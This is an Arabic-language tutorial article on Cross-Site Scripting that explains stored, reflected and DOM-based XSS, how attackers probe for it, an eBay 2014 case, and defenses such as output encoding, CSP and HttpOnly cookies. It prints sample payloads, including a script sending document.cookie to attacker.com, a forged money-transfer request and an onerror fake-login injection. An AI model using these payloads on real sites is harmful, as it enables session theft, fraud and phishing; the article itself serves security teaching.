فما هي هذه الثغرة؟ وكيف تمكن القراصنة من تطويع سطر برمجي واحد للسيطرة على حسابات المستخدمين؟
ما هو هجوم الـ XSS؟
يُعرف هجوم Cross-Site Scripting (XSS) أو "حقن البرمجيات النصية عبر المواقع" بأنه أحد أخطر وأشهر الثغرات الأمنية في تطبيقات الويب. يندرج هذا الهجوم تحت فئة هجمات الحقن (Injection)، وقد صُنفت ضمن فئات OWASP Top 10 كأولوية قصوى للمطورين.
ببساطة، يسمح الـ XSS للمهاجم بحقن أكواد "جافا سكريبت" خبيثة (Malicious JavaScript) داخل متصفح مستخدم آخر، وذلك عبر حقول الإدخال (مثل شريط البحث أو قسم التعليقات). ومن خلال هذه الأكواد، يمكن للمهاجم القيام بـ:
- سرقة ملفات تعريف الارتباط (Cookies): الحصول على "جلسة العمل" (Session) للدخول إلى حساب الضحية دون الحاجة لكلمة مرور.
- انتحال الشخصية: تنفيذ عمليات برمجية باسم الضحية والتحكم الكامل في الحساب.
- التجسس: قراءة الرسائل الخاصة، أو تعديل البيانات، أو حذف المحتوى.
- هجمات التصيد (Phishing): عرض واجهات مزيفة داخل الموقع الموثوق لإجبار المستخدم على إدخال بياناته الحساسة.
- نشر نفسه XSS Worm حيث يتم تحويل الضحية إلى ناشر الهجوم.
أنواع ثغرة XSS
تختلف أنواع الثغرة بناء على مكان تخزين الكود الخبيث وكيفية وصوله للضحية:
1. الثغرات المخزنة (Stored XSS)
هذا هو النوع الأكثر خطورة؛ حيث يتم تخزين الكود الخبيث مباشرة في قاعدة بيانات الموقع (مثل تعليق أو ملف شخصي) ويُعرض لكل من يزور الصفحة.
- كيف يعمل؟ يقوم المهاجم بكتابة سطر برمجى في حقل التعليقات بدلاً من نص عادي، مثل:
html
<script>
fetch("https://attacker.com/steal?cookie=" + document.cookie);
</script>
يتم تخزين الكود في قاعدة البيانات.
- عندما يفتح أي مستخدم الصفحة، يقرأ المتصفح الكود وينفذه فورا.
- تعليمة document.cookie تجلب ملفات التعريف (مثل session_id=abc123xyz).
- تعليمة fetch ترسل هذه البيانات سرا إلى سيرفر المهاجم.
النتيجة: يحصل المهاجم على الـ Session ويدخل حساب الضحية دون الحاجة لكلمة مرور
كيفية تنفيذ XSS Stored
2. الثغرات المنعكسة (Reflected XSS)
تُعد الثغرات المنعكسة النوع الأكثر شيوعا وبساطة، حيث لا يتم تخزين الكود الخبيث داخل قواعد بيانات الموقع، بل "ينعكس" مباشرة من الطلب (Request) إلى المتصفح.
آلية الهجوم: يتم إرسال الكود الخبيث كجزء من رابط (URL)، مثل روابط المنشورات، الإعلانات، أو الألعاب. كل ما يتطلبه الأمر هو إغراء الضحية بالضغط على الرابط ليتم تنفيذ الهجوم فوراً.
مثال توضيحي:
- في الحالة الطبيعية: يقوم المستخدم بكتابة كلمة بحث، فيرسلها المتصفح للخادم، ثم يعرضها الموقع في صفحة النتائج (مثلاً: "نتائج البحث عن: هاتف").
- في حالة الهجوم: يقوم المهاجم بصياغة رابط يحتوي على كود خبيث في معطيات البحث (Parameter)، وعند ضغط المستخدم عليه، يقوم الموقع بعرض "قيمة البحث" (التي هي الكود) دون فلترة، مما يؤدي لتنفيذ الكود داخل متصفح الضحية.
نموذج للرابط الملغم:
html
https://example.com/search?q=
<script>
fetch("https://example.com/api/transfer
", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
to: "attacker_account",
amount: 1000
})
});
</script>
لماذا ينجح هذا الهجوم ببساطة؟
- تعليمة fetch: هي أمر برمجي يجعل المتصفح يرسل طلب HTTP (مثل طلب تحويل أموال) إلى خادم الموقع بشكل آلي وفي الخلفية، دون أن يظهر أي تغيير في الواجهة أمام المستخدم.
- سر القوة في credentials: "include": هذه التعليمة هي "المفتاح السحري"؛ فهي تخبر المتصفح بأن يرفق مع هذا الطلب كافة ملفات تعريف الارتباط (Cookies) والجلسة (Session) الخاصة بالمستخدم المسجل حالياً في الموقع.
- خداع الخادم: عندما يصل الطلب إلى الخادم، يجد أن الجلسة (Session ID) صحيحة وتخص المستخدم "أحمد" مثلاً. هنا لا يشك الخادم في الأمر، ويعتقد أن أحمد هو من قام بطلب التحويل بنفسه، فينفذ العملية فوراً دون طلب كلمة مرور إضافية.
3.الثغرات المستندة إلى DOM (DOM-Based XSS)
تُعرف هذه الثغرة بهجوم البرمجة النصية القائم على "نموذج كائن المستند" (Document Object Model). ويكمن اختلافها الجوهري في أنها تحدث بالكامل داخل متصفح المستخدم (Client-side)، دون الحاجة لإرسال الكود الخبيث إلى خادم الموقع أو تخزينه في قاعدة البيانات.
آلية الهجوم:
تحدث الثغرة عندما يقوم كود JavaScript الموجود أصلاً في الصفحة بقراءة بيانات من مصدر غير آمن (مثل الرابط أو حقول الإدخال) ثم يقوم بكتابتها أو تنفيذها داخل الـ DOM بشكل مباشر دون أي عملية تحقق أو فلترة (Sanitization).
مصادر البيانات غير الموثوقة:
المهاجم في هذا النوع لا يحتاج إلى مكان ثابت؛ بل يستغل أي مصدر تقرأ منه جافا سكريبت البيانات، وأبرزها:
- الرابط (URL Parameters & Hashes): الجزء الذي يلي علامة # أو ?.
- حقول الإدخال (Inputs): البيانات التي يدخلها المستخدم وتُعرض ديناميكيا.
- التخزين المحلي (LocalStorage): حيث يمكن للمهاجم التلاعب بالبيانات المخزنة في المتصفح.
مثال تطبيقي (سيناريو الواجهة المزيفة):
- الحالة الطبيعية: يقوم الموقع بقراءة اسم المستخدم من الرابط (مثلاً بعد علامة #) ويعرضه ترحيبا به باستخدام JavaScript.
- حالة الهجوم: يقوم المهاجم بإرسال رابط يحتوي على كود خبيث بدلاً من الاسم:
html
[https://example.com/#](https://example.com/#)<img src=x onerror="document.body.innerHTML='<h2>Session Expired</h2><input type=password placeholder=Password><button>Login</button>'">
التحليل التقني لما يحدث داخل المتصفح:
- location.hash: يقوم كود الجافا سكريبت في الموقع بجلب ما بعد علامة # من الرابط.
- التنفيذ عبر onerror: يحاول المتصفح تحميل صورة بمصدر خاطئ (src=x)؛ وعند الفشل، يتم تشغيل حدث onerror الذي يحتوي على الكود الخبيث.
- التلاعب بالـ DOM عبر innerHTML: تقوم تعليمة innerHTML بحقن محتوى HTML جديد بالكامل في الصفحة.
النتيجة:
يتم استبدال محتوى الصفحة الأصلي بـ واجهة مزيفة (Fake UI) تظهر للمستخدم وكأن "الجلسة انتهت" وتطلب منه إعادة إدخال كلمة المرور. وبما أن الرابط في المتصفح لا يزال يشير إلى الموقع الرسمي الحقيقي، يثق المستخدم ويقوم بإدخال بياناته الحساسة التي تذهب مباشرة للمهاجم.
لماذا يُعد هذا النوع صعب الاكتشاف؟
بما أن التنفيذ يتم بالكامل داخل المتصفح (Client-side Execution)، فإن أنظمة الحماية التقليدية على الخادم (مثل جدران حماية تطبيقات الويب WAF) قد لا تلاحظ أي نشاط مريب، لأن الكود الخبيث لا يمر عبر الخادم في كثير من الأحيان، بل يتم معالجته محلياً بواسطة المتصفح فقط.
كيف يكتشف المهاجم هذه الثغرات؟
- يقوم المهاجم أولاً باختبار حقول الإدخال في الموقع مثل البحث، التعليقات، أو بيانات المستخدم، وذلك عبر إدخال قيم عادية مثل test123 وملاحظة كيف يتم عرضها داخل الصفحة.
- بعد ذلك يقوم بتجربة مدخلات تحتوي على أكواد خاصة مثل: <script>alert(1)</script> لمعرفة ما إذا كان الموقع يقوم بفلترتها أو تنفيذها داخل المتصفح إذا تم تنفيذ الكود داخل المتصفح بدل عرضه كنص، فهذا يدل على وجود ثغرة XSS.
- يراقب المهاجم أيضًا أماكن إدخال البيانات الأخرى مثل روابط URL (parameters) أو الحقول التي يتم عرضها مباشرة داخل الصفحة.
- في بعض الحالات يستخدم أدوات اختبار مثل Burp Suite أو OWASP ZAP لاعتراض الطلبات وتعديلها وتجربة payloads مختلفة.
دراسة حالة: كيف سقطت eBay في فخ الـ XSS؟
في حالة eBay (2014)، لم يكن الهجوم يعتمد على سرقة الأموال بشكل مباشر عبر كود JavaScript، بل كان يعتمد على استغلال ثغرة XSS للحصول على التحكم في حساب الضحية أولاً، ثم تنفيذ عمليات مالية من داخل الحساب.
- في البداية، يقوم المهاجم بحقن كود JavaScript خبيث داخل وصف أحد المنتجات على منصة eBay. وعند قيام أي مستخدم بفتح صفحة المنتج، يتم تنفيذ هذا الكود داخل متصفحه بسبب عدم وجود فلترة أو حماية كافية.
- بعد تنفيذ الكود داخل المتصفح، يمكن للمهاجم استغلاله لعدة أهداف، أهمها سرقة جلسة المستخدم Session Hijacking أو إعادة توجيه المستخدم إلى صفحات مزيفة تشبه صفحة تسجيل الدخول الخاصة بـ eBay بهدف الحصول على بيانات الدخول.
- بمجرد نجاح المهاجم في الوصول إلى حساب الضحية، يصبح بإمكانه الدخول إلى الحساب بشكل كامل دون الحاجة إلى كلمة المرور، خاصة إذا كانت الجلسة ما زالت نشطة. بعد السيطرة على الحساب، يمكن للمهاجم تنفيذ عمليات مالية مثل شراء منتجات باستخدام وسائل الدفع المرتبطة بالحساب، أو تغيير بيانات الدفع والشحن، أو إجراء معاملات احتيالية باسم الضحية.
وبالتالي فإن الخسائر المالية الناتجة عن هذه الثغرة لا تأتي مباشرة من XSS، بل هي نتيجة لاختطاف الحساب الذي تم تحقيقه عبر تنفيذ الكود الخبيث داخل المتصفح.
كيف نحمي مواقعنا من هذا الخطر؟
لحماية المستخدمين، يجب على المطورين اتباع إستراتيجية دفاعية متعددة الطبقات:
- فلترة المدخلات (Input Validation): عدم قبول أي رموز مشبوهة في حقول الإدخال.
- ترميز المخرجات (Output Encoding): تحويل الرموز مثل < و > إلى نصوص برمجية غير قابلة للتنفيذ (HTML Entities).
- سياسة أمن المحتوى (CSP): تفعيل بروتوكول يمنع المتصفح من تشغيل أي سكريبت خارجي غير موثوق.
- ملفات تعريف ارتباط آمنة (HttpOnly Cookies): منع "جافا سكريبت" من الوصول إلى ملفات الكوكيز نهائياً.
- استخدام الأطر الحديثة: الاعتماد على تقنيات مثل React أو Angular التي تقوم بعملية الفلترة تلقائياً في معظم الحالات.
خاتمة
ثغرة XSS ليست مجرد خطأ برمجي بسيط، بل هي ثغرة تستغل "الثقة" بين المتصفح والموقع. إن فهم هذه الآليات ليس ترفاً تقنياً، بل هو ضرورة ملحة لكل مطور يسعى لبناء بيئة رقمية آمنة، ولكل مستخدم يريد حماية هويته وأمواله في عالم لا ينام فيه القراصنة.
هل تعمل على تطوير موقع حاليا؟ تأكد من فحص حقول الإدخال لديك قبل أن تصبح ضحية "السطر الواحد"!